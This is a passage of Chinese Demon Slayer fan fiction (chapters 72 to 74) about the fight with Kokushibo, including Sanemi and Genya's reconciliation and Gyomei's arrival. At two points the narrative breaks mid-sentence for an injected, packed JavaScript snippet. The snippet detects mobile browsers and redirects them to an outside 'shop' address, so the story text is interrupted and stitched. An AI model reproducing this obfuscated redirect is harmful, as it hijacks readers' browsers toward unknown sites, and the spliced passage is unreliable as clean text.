刀刃上淌过银光,熔进炽烈的火光,橘色燎过继国严胜血红的眼,焚烧时干燥腥烈的气味仿佛能带出久远的记忆中自己第一次点燃炉膛的感受,但一切只让继国严胜压低了眉眼。他的六眼各有意志,能够独立运作,又像蜈蚣的百足,整齐划一地迈步,诡异的非人感消去他的情绪,让人总觉得方才那瞬间的波动都只是幻象。 继国严胜松松地将手搭在自己扭曲变异的刀上,他武家贵族的形象在这时候终于达到了巅峰,看着他就好像看到了几百年前刀不离身的古代剑士。而本应该被他视若生命的日轮刀,此刻也的确如他的命途一般陷入污浊。 他面不改色地躲过炼狱杏寿郎的攻击,视线整齐划一地扫过杏寿郎的周身,着重于他那张炼狱家代代相传般不改的面容上,不知道在想着什么。只是忽而用带有些许怀念一般的语气说道:“能够看到身体中流淌着自己细胞的后裔,真是出乎意料地让人无限感慨……” 岁月的流逝无情而恒久,一切的变幻在顷刻间达成,一去不回,无法挽留,莫外如是。而他,在他身上时间似乎没有留下痕迹,他还和二十多岁时一样,身体素质与剑技甚至比那时更好,但在晦暗之中躲不过日月的交替,事实上他已经是一个数百岁的老人了。 而老人,最善于感叹:“人类的生命,当真是太短暂了……对吧。” 时刻警惕着的炼狱杏寿郎还在观察着被钉在木柱上的时透无一郎的情况,虽然肢体上并没有受到过重的伤害,但胸腔处的伤却隐隐有加重的危险。哪怕只是一个14岁的少年,但发育中的身体依然有着不轻的分量,仅凭一柄刀的挂力,时间久后只会将伤口拉扯得更严重。必须快点解救……与其说听见了继国严胜的声音,倒不如说是直觉已经为下一次攻击找好突破口,他缓缓抬起眼,看向继国严胜:“你在跟我说话?” 如果可以,他没有心情和一个鬼闲聊。 但继国严胜显然不在意面前的人或此时的场景是否适合交流。也可能是这间和室之中存在的人无形地让他想起了当初,他很久没有抒发的沟通欲终于无法再压抑,一味地迸发:“无论受多重的伤,成为鬼都能恢复。哪怕断臂也能再生。”看来他真的不在乎有没有人想听他说话,因为他的目的立刻暴露无遗:“现在,真正称得上能作战的上弦只剩下我一个人。那位大人……应当也会认同你的……” 继国严胜再次注视着时透无一郎,金色的瞳孔在血红的眼中游动,划过带有分割线的红,好似皓金的月从血红的天空中升起,炼狱杏寿郎终于知道那像什么。那很像灶门炭治郎的那对耳饰。 炼狱杏寿郎嫌恶地皱起眉:“如果不被认同呢?” “人类太脆弱了,容易受伤,失血过多就会死去。无论如何锻炼,人类终有极限。成为鬼是摆脱脆弱的唯一方法,不仅不会死亡,还拥有了无限的时间,能够在永恒之中磨炼自身,达到无人能够替代的顶点。”继国严胜平缓的声音没有丝毫改变,他的语气淡漠得和决定一只蚊子的生死没有区别——纵然游人赏花亦有不忍攀折,而自己仅存后裔的生命在他口中却无法惊起丝毫波澜:“如果不被认同,就那么死去,那也只是你的宿命……” “换言之,你不过是这种程度的男人而已。” “……” 竟然只用短短宿命二字!炼狱杏寿郎的呼吸有一瞬间粗重,他的气息泄漏些许,乱了心神,再凝神屏气时,愤怒已经显现在他英武的脸上,从来淡定自信的笑容褪去,浪潮离开后,海岸才完整地暴露出来。 “你有别的看法?”继国严胜自然没有错过炼狱杏寿郎的情绪翻涌,他们在他面前就仿佛是透明的,一眼就能看透:“作为炎柱的你,应当知道鬼杀队近千年的传承是多么失败且无用……你同样拥有无与伦比的天赋与力量,你的剑技精湛、□□锤炼亦到极致,你是一个正直强大的武士……我可以认可你,但你的正直强大并不具备任何决定性作用……” 或许对于这个鬼来说,所谓的决定性作用就应该是抵抗生死、抵抗时间、无尽的生命。只要死亡近在眼前,那么一切的一切都会被摧毁,以至于扰乱了他的心神,让他一阵阵感到恐惧。让他毫不犹豫地接受了鬼舞辻无惨的鲜血,把自己变成现在这副不人不鬼的恶心样子…… 啊!原来如此…… 炼狱杏寿郎明白了一切。面前这位强大的排名为上弦之一的鬼,实际上也只是一个怯懦怕死的胆小鬼。他不由勾起嘴角嗤笑出声:“可笑。”——当真可笑。 “一个抛弃了人的本性堕落的鬼,又有什么资格评判人类的存在?”张口闭口就是人类的脆弱与鬼的无尽生命,但命运中的一切都标有价格,它所视之为珍宝的东西何尝不是一柄双刃剑?连行走在阳光之下都做不到的家伙,倒也能摆出全知全能的态度来指点众生了!燃烧的火焰在眼瞳中摇曳,赤金的光晕推开黑暗,照亮长夜,如他的象征一般,身为炎柱,就注定要为自己守护的一切点亮火焰,哪怕薪柴是自己的生命。他横过刀,摆出起手的架势:“即使人类的生命短暂无常、脆弱无比,那也是这个世界上最珍贵最重要的东西,我决不允许你出言贬低!” 记忆中在午后的浓烈阳光之下轻柔地抱住自己的母亲依然如此清晰,而她短暂的生命中对自己说过的每一句话他都铭刻于心。难道他不知道人类生命的脆弱吗?难道他不知道人类生命的短暂吗?眼睁睁看着自己最爱的母亲彻底离开这个世界时,炼狱杏寿郎心中同样充满了不可置信:为什么?为什么偏偏是母亲?她这样真挚地爱着世界、爱着他们,她从不曾伤害任何人,为什么偏偏是她被选中,只能活过如此仓促的一生,匆匆踏入死亡的永夜? 母亲温柔的手曾抚过他的金色的发,她的怀抱中淡淡的馨香与温暖是一切正直的温床。也正是母亲让炼狱杏寿郎知道了:正是人类这生命短暂的生物才会拥有对于生命的敬畏,正因为会衰老、死亡,人才会如此可爱,如此尊贵,才能理解世界的美好。 他从来践行此道,在日复一日的经历中深刻着自己的认识,就像母亲说的那样——与生俱来的强者的责任就是要保护弱小的人,不能将上天赐予的天赋拿来伤害他人或者中饱私囊。 “我绝不会将自己的强大变作向恶鬼献媚的工具!” “绝不会与你为伍!” “也决不允许你这么做!” 他转过刀柄,以自身为中心,将气流凝聚顺着刀尖旋转,燃烧的火炎便蜿蜒其中,带起一阵炽热的风暴。烈火的盛宴以极大面积的攻击向着继国严胜所在的位置卷去。 “幼稚……当你距离死亡很近的时候,还会这么想吗?”继国严胜平静地看着炼狱杏寿郎,在百年之中,他已见过太多的人,死于他刀下的柱哪个不是如此正义凛然,像当初的他似的……但是。他眼睛微眯,身影散在火光之中,一道迅疾的刀锋自炼狱杏寿郎身后斩来,众人或还未看清,但直觉带来的毛骨悚然已经提前让杏寿郎抬起刀刃格挡,仅仅只是一道攻击,撞上刀刃时却脆如击玉。 继国严胜的攻击很奇怪,明明肉眼已经捕捉到,但总在真正迎上时变幻。 而他的呼吸法,不知道究竟是哪一种,一招一式间带有月华般的光泽流动,在刀气间盈盈,一般人甚至很难看清。 ——砰! 夹杂在刀刃撞击间忽而响起的轻轻一声,本应该陷入火焰燃烧之中。 但继国严胜却在神不知鬼不觉的时候瞬间移动到这声音的来源处——稍远些的地方,躲在隔墙之后的不死川玄弥刚刚向着继国严胜的方向发射出一枚子弹。那枚子弹自然没能命中,随着炸出枪膛的硝烟味散开,继国严胜已在他身后,垂下视线。 “你也是这么想的,对吧?”他淡声问道。 一道月华便毫无预兆地划向不死川玄弥,他抬起手枪的手臂还未放下,瞳孔在顷刻间缩小。 手枪坠地,一阵鲜血崩散,不死川玄弥的右手已然被斩断! “玄弥!”炼狱杏寿郎和时透无一郎的发声提醒才响起,继国严胜的速度竟比之要快上数倍。 在那一刹那,疼痛根本来不及冲上理智的高地,经年累月锻炼而来的身体本能只让不死川玄弥立即反手摸向自己挂在身后的日轮刀,反手想要砍向自己身后的恶鬼。但这反击在这位上弦之一的眼中看来何其粗糙,只一侧身就能躲过。他注视着面前黑发的少年,他面颊上那道横贯的疤痕随着他的紧张与恐惧如有生命般颤动。 “嗯?原来……食鬼的人就是你啊……” “玄弥!” 但这次他的攻击没能奏效。 以熊熊燃烧的火焰为咆哮的炎虎迅猛地扑向继国严胜,在将他逼退至稍远一些的位置时,炎虎撕咬着月华将之点燃融入自己体内,随着那压抑的斗气彻底消散,炼狱杏寿郎就持刀挡在不死川玄弥的身前。他才发现炼狱杏寿郎原本就只打算用这招救下那个食鬼的人。或许炎柱就是这样的生物,他这次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613470|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没再试图劝告,只将目光投射向因被斩断双臂而趴倒在地的少年身上。 “三百多年前……有一个跟你一样食鬼的剑士……”继国严胜回忆着那个人的结局,“他被斩断身躯后死了,你……也一样吗?”但回忆终究让人不快,他还记得自己为了变成鬼又付出了什么,他话锋一转,带上少见的鄙弃:“像你这样的仿鬼,根本没必要留活路。” 武士的手再一次搭上刀柄。 炼狱杏寿郎死死盯着他的动作,他们都无比清晰,他的下一次攻击一定是将玄弥斩为两半……! 要怎么抵挡? 月色无声淌落,继国严胜的动作与他的杀意一样难以捕捉,它存在任何细微之中,隐匿在无声的晦暗之下,在某个瞬间随着周围苍冷的空气无垠地摊开,却敏锐地抓住你失神的那一个眨眼,洁白的月色淌成滴落的一滴血,带着锋利的细小锐刃,以势如破竹的架势径直割来。 炼狱杏寿郎拧紧眉头,流火还未彻底点燃,四下却不慎落入一片空寂。仅是一刹,连自己的心跳都变得无声,呼吸则短暂凝滞,在时间的下一次嘀嗒时一切又卷土重来。 这次,将月色绞碎的是狂风。 狂风肆意吹卷,将不死川玄弥置于最安全的风眼之中,呼啸着袭向继国严胜,将他生生逼退数米。 “大哥……”不死川玄弥茫然地回头。 伴随着息止的罡风出现的,正是风柱——不死川实弥。他与炼狱杏寿兰分列两边将玄弥护在身后,从前总挂着不耐烦的脸上,交错的狰狞疤痕随着神情的变化第一次显出些无关愤怒的意味。而他从未诉诸于口的那一切真相,终于也在这一次得到了宣泄的理由。 “你真是个让人没辙的弟弟啊……”从不再咆哮贬低与嘲讽的嗓子里吐出的字,明明仍然没有幼时包容的温柔,却依然让不死川玄弥想起了从前被哥哥牵着手度过的每一刻。弟弟这个字眼,似乎睽违已久。 他也曾经想过,或许哥哥也会后悔吗?后悔救下的人是他……但在那些视若无睹的日子里,他终究没有勇气开口,不敢询问哥哥的心意,哪怕诉说一句对不起。 他是没有资质的人,追随着哥哥的脚步加入鬼杀队,却没有哥哥的天赋,无法使用呼吸法,反而与身为风柱的哥哥截然不同,可以靠吞食鬼的部分来战斗……第一次发现自己能够这样做的时候,他想到坠入苍茫夜色的母亲,他恐惧着自己或许有一天也会变成这样毫无理智,也担忧着如果有一天哥哥发现自己的行为会否暴怒——如果真有那样一天,如果真的可以死在哥哥的刀下……哪怕是作为偿还,或许就好了…… 所以当灶门炭治郎说哥哥并不憎恨他的时候,他只垂下眼。 “不惜对母亲痛下杀手也要保护你,你觉得这是什么?” 但现在真相拨开层层伪装,将一个同样不善言辞的兄长的苦心孤诣、百般思量揭开,他几乎是难以抑制地整个人颤抖起来。悔意汹涌而至,淹没他的灵魂,带着他回首从前的每一刻,在每一个他以为自己已经没有哥哥了的瞬间,原来他从不曾真正了解过不死川实弥。 “你为什么要加入鬼杀队?”与其说在发问,倒不如说是对于弟弟任性妄为的不解,不死川实弥并不看身后弟弟鲜血淋漓的惨状,只一味地说下去,“你就该随便找个地方成家立业开枝散叶,活到老掉牙。” 幼时那个漫长得好像永远不会终结的黑夜,他和弟弟似乎都没能走出来。“……没对老妈尽完的孝,没对弟弟妹妹尽到的情分,你就努力让自己的老婆孩子获得幸福来弥补就好了!” “我绝不会……让恶鬼靠近你们半步!” 不……不是、不是的……哥哥的背影从始至终贯穿不死川玄弥的人生,为他撑起天地、遮挡风雨,为他阻拦一切的危险。 在不死川实弥的安排里,不死川玄弥的未来从来都没有自己。或许在他杀死母亲的那一刻,他已经将自己放逐进地狱。还留在世间的仅是为了报仇而存在的一道影子。 水汽从眼眶周围溢出,顺着脸颊滚落时分不清那究竟是泪还是疼痛导致的汗。他口腔中混着未干涸的血液,腥苦的味道直冲向鼻腔,将世界都模糊:“对不起大哥,对不起……” 站在远处的继国严胜一直沉默地看着不死川兄弟,没人知道在他听着这对别扭却互相深爱的兄弟剖白内心的时刻究竟在想着什么。只在弟弟艰难地说出对不起的一刹那,他下意识眯起眼,“哦……兄弟二人一同猎鬼啊……”他的声音就像穿过无尽的时间,隔着往昔的朦胧万千,带着那么不真切的感叹和分辨不清的复杂意味,一字一顿地说:“真·令·人·怀·念……”叫他忍不住握紧了刀。 鬼的声音刺激到不死川实弥的精神,他蓦地瞪视着目前的恶鬼,不再压抑内心咆哮的愤怒,哪怕是上弦一又如何!“竟敢砍了我的弟弟!该死的眼球混蛋!不可饶恕不可饶恕!” “不可饶恕!” 73. 罡风 青色的罡风悬在刀尖,卷着空气凝成螺旋,不死川实弥一言不发地挥刀,他用力踩在地面做出冲着继国严胜冲撞而去的姿态,却在继国严胜挥出攻击前借力扭转身体贴着地面划过剑光,穿过继国严胜堪称全方位的防守,他的目标从始至终如此清晰——青色的日轮刀斩破空气,风刃裹挟着不死川实弥满腔的怒火狠狠砍向恶鬼的双足。 继国严胜原地跃起,他轻盈地倒悬在半空,哪怕一缕黑发都没有卷入风中。横过一直藏在疤痕满布的刀鞘中的日轮刀,还未来得及躲开,一道流星尾焰般炽烈的轨迹迅猛地向他袭来,正是来自于炼狱杏寿郎。火炎在风中没有熄灭而是燃烧得愈发旺盛,两个柱无须言语交流,哪怕视线都不曾交叠半分,但已经默契地分担进攻的主次,以各自挥动的刀刃逼着继国严胜退无可退,只得直面旋风的削斩。 顺着风的方向,不死川实弥用力砍去,金属相撞声清越无比,砸着周围飞扬的尘土木屑,平白引出一段冷清的尾音。 一直牢牢藏起,哪怕拔刀出鞘的几个瞬间也看不清的刀,终于脱离刀鞘的庇护,将刀身完完整整暴露在外。 那无疑是一柄可怖的刀。绯红如□□剖面的刀身上整齐地生长着数只眼球,它们于刀身凸起,有着活体的意识,左右旋转着瞳孔,最终停止在直视不死川实弥的方向,用毫无感情却叫人感觉如有实质的目光死死盯着他。 “哈!这还真是恶趣味的刀啊……”不死川玄弥绽出一个大大的笑容,握紧手中的刀柄。 终于拔刀的继国严胜面上看不出旁的情绪,只是那三对眼睛沉着地进入战斗的状态,将他的脸庞衬得仿佛只剩下三对血红的眼,诡异的气氛在和室中蔓延,他结实的手臂上青筋暴起,不知从何而来一股怪力,勾着不死川实弥的日轮刀无法挣脱。自他为中心,从刀尖划出的月光兀自交叠、上下腾转,构筑出一个磅礴的旋涡,向外发散开锋利的刀光,斩过四周的木柱时轻易如撕裂一张和纸。 他不用挥剑就能完成数道连续的斩击,不知这一切究竟是建立在他的呼吸法上,还是鬼这一身份带与他的血鬼术。 “值得称赞啊……”再一次以刀刃撞过炼狱杏寿郎和不死川实弥的攻击,继国严胜由衷地开口赞赏,“你们两个……□□条件似乎也都处于剑技的全盛期……” 在这短短的交锋中,他们都敏锐地意识到继国严胜的刀法诡异到令人毛骨悚然。 他的攻击迅疾无声,不必过多动作就能施展高难度的剑技,且每一次斩击周围都附有无数不规则的细小锋刃,长度和大小不时变换,没有固定形态。明明本应该可以躲避的攻击却在真正迎上的一霎产生异变,如果没有常年高强度战斗培养出的战斗直觉,根本来不及应变。 炼狱杏寿郎和不死川实弥交替着攻击,他们各有长处,对于力量和速度的掌握与运用也有着各自的理解,但继国严胜的状态并不受到影响,他的速度依然快得超乎寻常。 这家伙竟然还在使用呼吸法! 无论是再生力还是身体机能都出类拔萃的鬼,借由呼吸法的运转将攻击和速度进一步提升,继国严胜看着毫无破绽,却让不死川实弥心中战意沸腾。有趣!实在有趣!只有这样,才值得一杀!他兴奋地注视着面前的恶鬼,停住与他周旋的步伐,重心下压,伸直手臂将刀猛然挥出,带起四道竖直的青罡风刃,锐利无比地嵌入继国严胜用以抵挡攻击的刀身之中。他借扬刀的动作撇开风刃,刀身在那一刹恢复无恙、光洁如新。 炼狱杏寿郎的突刺自身后击来,燎灼的气息割开继国严胜的衣角。在他妄图侧身避开时,不死川实弥再次接过主攻的重任,抬着刀高高跃起,死力向他劈来!他向后弯下腰背,与实弥的刀尖擦肩而过。但不等继国严胜准备,又一柄刀刺出,躲过继国严胜的攻击,不死川实弥不知在何时提起玄弥的刀,夹着刀柄砍来。 继国严胜撤下架刀的动作,第一时间与实弥分开,旋即划出一道银白的弧形刀痕,将他击退。 随着战斗的推进,月华闪烁在继国严胜的呼吸法淡淡的绯红之中,间或与青色的风色和赤色的火炎相撞,流解在无尽的锋光里。 直到现在,他们还能跟上他的出招速度……真怀念啊,这种感觉……令人亢奋……继国严胜必然是一个严苛的武士,严格地遵守着武士的身份,他从来都认真地对待着战斗。但百年来,能与他真正酣畅一战的人少之又少。 说起来……在从前的战国时代,他也曾像现在这般和风柱切磋过剑法……他看着这个年轻的风柱,风柱的流传不似炎柱,没有家族,在这个人的身上自然找不到丝毫从前的影子。但即使已经过度使用呼吸法来战斗,身体的素质已在某种癫狂的边缘,鼻腔中随着高强度运动与极其兴奋的神经而破裂的毛细血管汇聚成殷红流下,他依然没有要停止战斗的意思。很显然,那不是继国严胜所熟悉的东西。 他的人生,又何尝不是长寂的黑夜中高悬的一轮孤月。 月之呼吸·陆之型·常夜孤月·无间! 遍布的新月形斩击编织成一道密不透风的网,笼罩了不死川实弥可见的视野,锋利无比的刀网在空中收束、延展,冲撞着不死川实弥退开数米。而在这网覆盖的区域内,周围全部的屏风与柱梁都被无情地切割得粉碎。 漫天飞扬的烟尘遍布,一片狼藉,无论是匍匐在地的不死川玄弥还是及时避开攻击救下无一郎的炼狱杏寿郎,都无法隔着那细密的尘埃与散落的残损木柱看清方才的战况。 像是过了很久,他们才听见不死川实弥粗重的呼吸声,他的胸前浮现出数道深可见骨的刀伤,鲜血争先恐后地流下,随着他每一次呼吸淅淅沥沥地汇聚在地上。 继国严胜用那种赞赏的语气评价道:“你坚持得挺久,不过到此为止了……” “乱动的话,内脏会跑出来……”他的话音陡然停住,出人意料的事件正在发生,他的脉搏正在加快,怎么会……? 不死川实弥哈哈大笑起来。“稀血之于鬼就像木天蓼之于猫,”他浑不在意自己的伤,只迅速地调动着呼吸法竭力向继国严胜砍去,“我的血更是稀血中的稀血!闻到的鬼都会酩酊大醉!你就好好品尝个够吧!” 这一次,继国严胜没能及时避开实弥的攻击。 “喂喂怎么啦?怎么脚下开始踉跄啦?看来这血对于上弦也奏效啊!”伤痛并非不在,只是极大地激发了不死川实弥身体中战斗的因子,以带给神经更为强烈的癫狂感,让他越发兴奋起来,高度集中于手中的日轮刀。 不死川实弥第一次意识到自己的血是特别的,是在开始猎鬼不久后——亲手杀死母亲后,他大脑中一片空白,世间所存在的一切都在瞬间褪去颜色、消磨殆尽,而他浑浑噩噩,如行尸走肉,明明活着却仿佛依然身处那个晦暗无光的夜晚苦苦挣扎。在知道人世间存在着能将好好的人类变作恶鬼的生物之后,他开始猎鬼,鬼杀队是什么不死川实弥并不知道,日轮刀与呼吸法更是从未听闻,他试着用自己能找到的金属武器装备自己,在黑夜中寻找着那些怪异的鬼,同他们搏斗,将他们捆绑起来,直到天亮太阳升起,阳光将他们烧为飞灰。 如今回想起来,那时自己的所作所为疯狂得与自杀无异,能够大难不死大约还是多亏了自己的血液,既能吸引鬼的出现,也能让他们酩酊大醉。对那时的不死川实弥而言,因为猎杀同一个鬼而遇到鬼杀队队员粂野匡近无疑是一件相当走运的事。从他的口中,自己得知了鬼杀队的存在,也多亏了他的引荐,自己才能加入鬼杀队,并且拜入师父门下学习风之呼吸。 粂野匡近是不死川实弥人生中第一个朋友。 但他清晰地知道:善良的人总是会先死去。 这个世界并不合理。 不死川实弥与粂野匡近合力斩杀了下弦之一。成为柱的人却只有他一个。 他转过刀身,目不转睛地注视着继国缘一,因着攻击的必要,两人离得很近,近到在他那三对诡异的眼瞳中实弥能看见自己苍白的倒影。但他的攻击从未停止,仍然固执地劈砍向鬼,将青黑的罡风尽数送去。 继国严胜有些吃惊。至今为止他遇到过的所有柱,受到如此重伤自然分出了胜负,但偏偏这小子,伤成这样还能动?他竟然自行止住了血,使用呼吸法让血液凝固了吗?还收紧肌肉防止内脏流出?不论如何判断,这都不像是人类所能施展之技,初次得见,倒是挺有趣的…… 面对比先前的更为爆裂的攻击,受到稀血影响的继国严胜对于身体的掌控变得陌生,然而这微醺的感觉在他漫长的生命中也不过是久违了。又一次因后撤而踉跄时,他很快稳住步伐,并重新掌控一切。以剑技迎接卷起的风痕,被动应敌绝非他的武士之道,在看破不死川实弥妄图以他的失控为突破点,着重攻击他的腿时,继国严胜借机踩上不死川实弥的日轮刀。 将他的刀刃踩入地面,高高举起自己的刀,和他们斩首鬼时一模一样,继国严胜的目标同样是他的脖颈。 在那个瞬间。在那个寂静得好似世界被按下暂停键的瞬间,不死川实弥清晰地回忆起第一天成为柱、被要求去参加柱合会议的时候。 那时他只有满腔的怒火,愤怒与仇恨攫取他的思维,凌驾于他的本能掌控他的意识。第一次见到主公,看到他的笑容时,憎恨由衷地滋生:真让人火大,别人在痛苦中煎熬,他却还能笑得出来。不用弄脏自己的手,也无性命之忧,只要摆出一副悲天悯人的样子,就能支使别人。 “架子不小嘛,产屋敷大人。”他用着恶劣无礼的词汇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613471|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这当然惹得其他几位柱愤慨不已,即使先前对自己多有照顾、脾气最好的香奈惠也不认同地看着自己。 可在那个场面之中,唯独置身事中的主公还能保持着微笑安抚众柱,“没事的,让他说吧,我无所谓的。” 那个时候的自己……什么也不懂,却相当自以为是,将主公的温和视作面具,誓要打碎他的伪装。抱着无所谓的态度,不死川实弥轻而易举就将难听的话倒豆子似的吐了出来:“令人嫌恶的浮夸演技还真碍眼啊,明明把队员当作用完就扔的棋子。” “你从没钻研过武术之道吧?一看便知!这种家伙居然是鬼杀队的首领?”他甩开香奈惠试图阻止他的手,尽情表达自己的轻视与不满,“简直让人作呕!”那时距离母亲死去已经过了些年,粂野匡近却刚刚牺牲,不死川实弥回首自己的来路,失去的家人、放弃的弟弟、放逐的自己、丧失的朋友,他跌跌撞撞野蛮生长,用尽一切办法变得强大,自以为可以掌握力量灭杀恶鬼报仇雪恨,叫心底里喧嚣的仇恨平息。可实际上,到头来他什么都没留住。 仍然和绝望地离开家远走的那个幼小的自己一样,两手空空。 “别开玩笑了!” “对不起。” 不死川实弥抱怨的声音顿住,他怔愣地站在原地,茫然地看着主公。即使那时主公还很年轻,病痛早已让他面目全非,他依然是方才温和的样子,态度从未改变,“我也试过挥刀,但脉搏很快就陷入紊乱,连十次都做不到。” “若能实现,我也想和你们一样,成为靠一己之力守护他人性命的强大剑士。”他垂下眼,“一味将痛苦的工作加诸你们真的很抱歉。” 他陷入沉默。主公大人的眼神让他回想起母亲,仿佛被温柔的父母用满腔的慈爱疼惜也怜爱地摩挲过脸颊。 偏偏是主公……偏偏是对他的人生无需承担任何责任的主公对他说出了那句“对不起”。 “如果把你们视作棋子,那么我也只是一颗至多可以驱动鬼杀队的棋子。即使就此死了,也不会有任何改变。”主公发出的声音带有奇异的魔力,能让听到的人心生安定,“实弥是第一次参加柱合会议,因此可能有所误会。我并非高位之人,大家也只是出于善意才这般待我,你要是不愿,可以不必和他们一样。” “与其纠结这些事,还请实弥作为柱好好守护他人,我的愿望仅此而已。” 主公是如此谦虚平和,他的身体虽孱弱,心灵却比任何人都要坚定。他像是透明的,任世界风霜刀剑也丝毫不会受到影响,世界在他面前也像是透明的,谁也无法藏住自己真正的心绪。“匡近刚刚身殒就叫你过来实在抱歉,你们情同手足想必更加难过吧?” ——名字……! 不死川实弥的心脏被什么无声击中了,将他从愣神中砸醒,重新回到人间,他看着主公被孩子们搀扶着走到自己近前,脑袋里恍惚地回响着香奈惠的解释:主公在成为当主之后,牢牢记得每一位牺牲的队员的名字与生平——怎么会?!就算是他也记不住并肩作战过的每一个战死队员的名字…… 鬼杀队的队员自加入起就会为自己写下一封遗书,从无例外。在那一天,主公将匡近的遗书交给了自己。不死川实弥第一次知道匡近原来有一个已经逝世的弟弟,这也是他第一次看到别人的遗书。然而鬼杀队的队员们写下的遗书内容都大同小异,要灭杀恶鬼,见到光明的未来。 “希望重要之人能幸福地活到享尽天年的那一天,希望他们的性命绝不会受到不合理的威胁。” “即使到时候,自己不能活着陪在那个人的身边。” “也希望他能活着。” 希望他能活下去。他们的心愿,从始至终是一样的。 暂且安顿下无一郎和玄弥的炼狱杏寿郎轻身加入战局,炎之呼吸的招式大开大合、攻击面广阔,火焰的燃烧从来无视对象,平等地赐予每一个靠近的人灼烫。从刀身的一线火痕蔓延而出的烈焰袭向恶鬼,他用力蹬踏地面加速冲过,用自己的刀尖撞开继国严胜妄图斩向不死川实弥的刀刃。 在刀尖被击飞的转瞬,不死川实弥终于掏出自己藏起的火枪,扣下扳机。炸出枪膛的弹丸带有炽烈的温度与声音直直射向他的头颅,但子弹来不及爆炸就已经被继国严胜瞬息间挡住,哪怕一丝擦伤都没造成。 就在这时,不知为何继国严胜忽然数次挥刀割出交错的弯月飞刃,身体则跳出数丈之外。随着他远离的动作,原本他所在的位置却如被巨物砸中般轰然作响,地面碎裂,扬起满目的尘埃。 继国严胜缓缓吐出一口气:“一个个地……不请自来……” 烟尘散去,以独特的剑技作为掩护保下两人的,竟是不知何时到来的——岩柱悲鸣屿行冥! 74. 无畏 “我等鬼杀队永垂不朽,直到将鬼从这世上屠杀殆尽!” 身材高大健壮的男人就这样毫无预兆地突然出现在众人面前,口中说着正义凛然的宣言,目不能视的双眼轻易捕捉到继国严胜的方位,方才向他砸来的流星锤现在已经回到男人手上,宛若一朵花似的温顺垂首,任谁也想象不出它与他配合所具备的力量。 继国严胜能够清晰地看见他的□□是由什么组成的,那些藏在衣物与皮肉之后的秘密在他的眼中无所遁形。而面前的这个男人——鬼杀队的岩柱么?他动作干脆利落地飞速甩动起流星锤,一手拿着锁链另一头悬挂的斧头,浑身的力量被调动,而他那几乎可以称得上完美的肌群则顺畅地发挥着作用催生着力量,为主人提供绝佳的能源。 太棒了……即便是继国严胜也不由称赞,这便是锤炼到极致的□□的完全形态,这等程度的剑士才是真正的三百年未遇到了……他当得上是这一届鬼杀队中的最强者。 但岩柱——悲鸣屿行冥却并没有表现出显眼的严阵以待,比起对于即将到来的战斗的兴奋或紧张,在出击击退继国严胜后,悲鸣屿行冥只是戒备地提醒不死川实弥与炼狱杏寿郎暂且先休整治疗,尤其是不死川实弥的伤,即便他有着出众的战斗经验与临场应急能力,重伤终究是重伤,必须做到稳妥地处理。 “先将不死川腹上的伤缝起来,这期间鬼就交给我对付。”柱之间的信任无需质疑,悲鸣屿行冥的能力更是有目共睹,杏寿郎和实弥应下,暂且将战场交托出。 这期间,继国严胜就这么平静地看着他们,这种互帮互助的画面在他看来也同样是久违了,但他并不感到怀念。会受伤、会流血、会轻而易举地死亡,这就是人类,人类可悲而无法逆转的宿命。 悲鸣屿行冥转动流星锤的速度不知不觉间逐渐加快,越来越快、越来越快,继国严胜整齐束起的黑发正被空气卷着拂向他的位置,他站定身形,发现自己周围的空气正被流星锤转动而生出的势能牵引过去。他嘴角不由扯起一丝笑意,但随着逐渐沉寂的气氛缓缓压下。两人沉默着对视许久,又或者他们所看的并非只是对方的身形,只是鸦雀无声的空间里,忽然!毫无意料地!一股蕴含着恐怖的力量向着继国严胜的方向猛力砸出!流星锤上的尖刺轻松穿透石板,凌乱的尘石飞得满天都是。 而继国严胜,恰恰在那一刹那跳开。 但从那重力的袭击中保持完好无损并不值得人感到高兴,因为还不等他发动月之呼吸的招式,就见另一端的斧紧跟着他的身体追了过来。悲鸣屿行冥竟然双手同时放开了武器,只攥着锁链操纵方向。 继国严胜来不及过多思考,只能低下身躲开,锋利的斧头擦着他的脸飞过。 然而,悲鸣屿行冥正在靠近,他迈着稳健而有力的步伐,每一步的踏出都稳稳踩住锁链协助自己控制武器的方向,用力得几乎踩碎地面。在他一心二用的操纵下,流星锤与斧头相继数次向着继国严胜飞来,而他的目标从来明确——他要砸碎恶鬼的头颅! 再一次施展剑技失败,继国严胜面对飞来的流星锤翻身堪堪躲过,他跳出流星锤的攻击范围,试图观察武器之后锁链的走向,但等意识平静时,他才惊觉悲鸣屿行冥不断挥动着锁链的真正目的是将他的脖颈缠绕住。 血红的刀砍向锁链,但奇异的是:这锁链竟然斩不断!哪怕使用的是他的刀! 在锁链彻底收紧的前一秒,继国严胜滑下身,被扼断的只有一缕黑发。 他如今使用的刀自然已不再是从前那柄,每一个鬼都有着自己的特性,而继国严胜的刀是由他的血肉所铸造。但悲鸣屿行冥的武器无论是流星锤、斧头还是锁链,使用的铁纯度都极高。如果要用他的刀,恐怕在斩断锁链之前就会被熔断。这种吸收了大量阳光的铁,的确是针对鬼的克星,但在刀将技术登峰造极的战国时代未曾被发现,也的确是鬼杀队的可惜。如果那时候…… 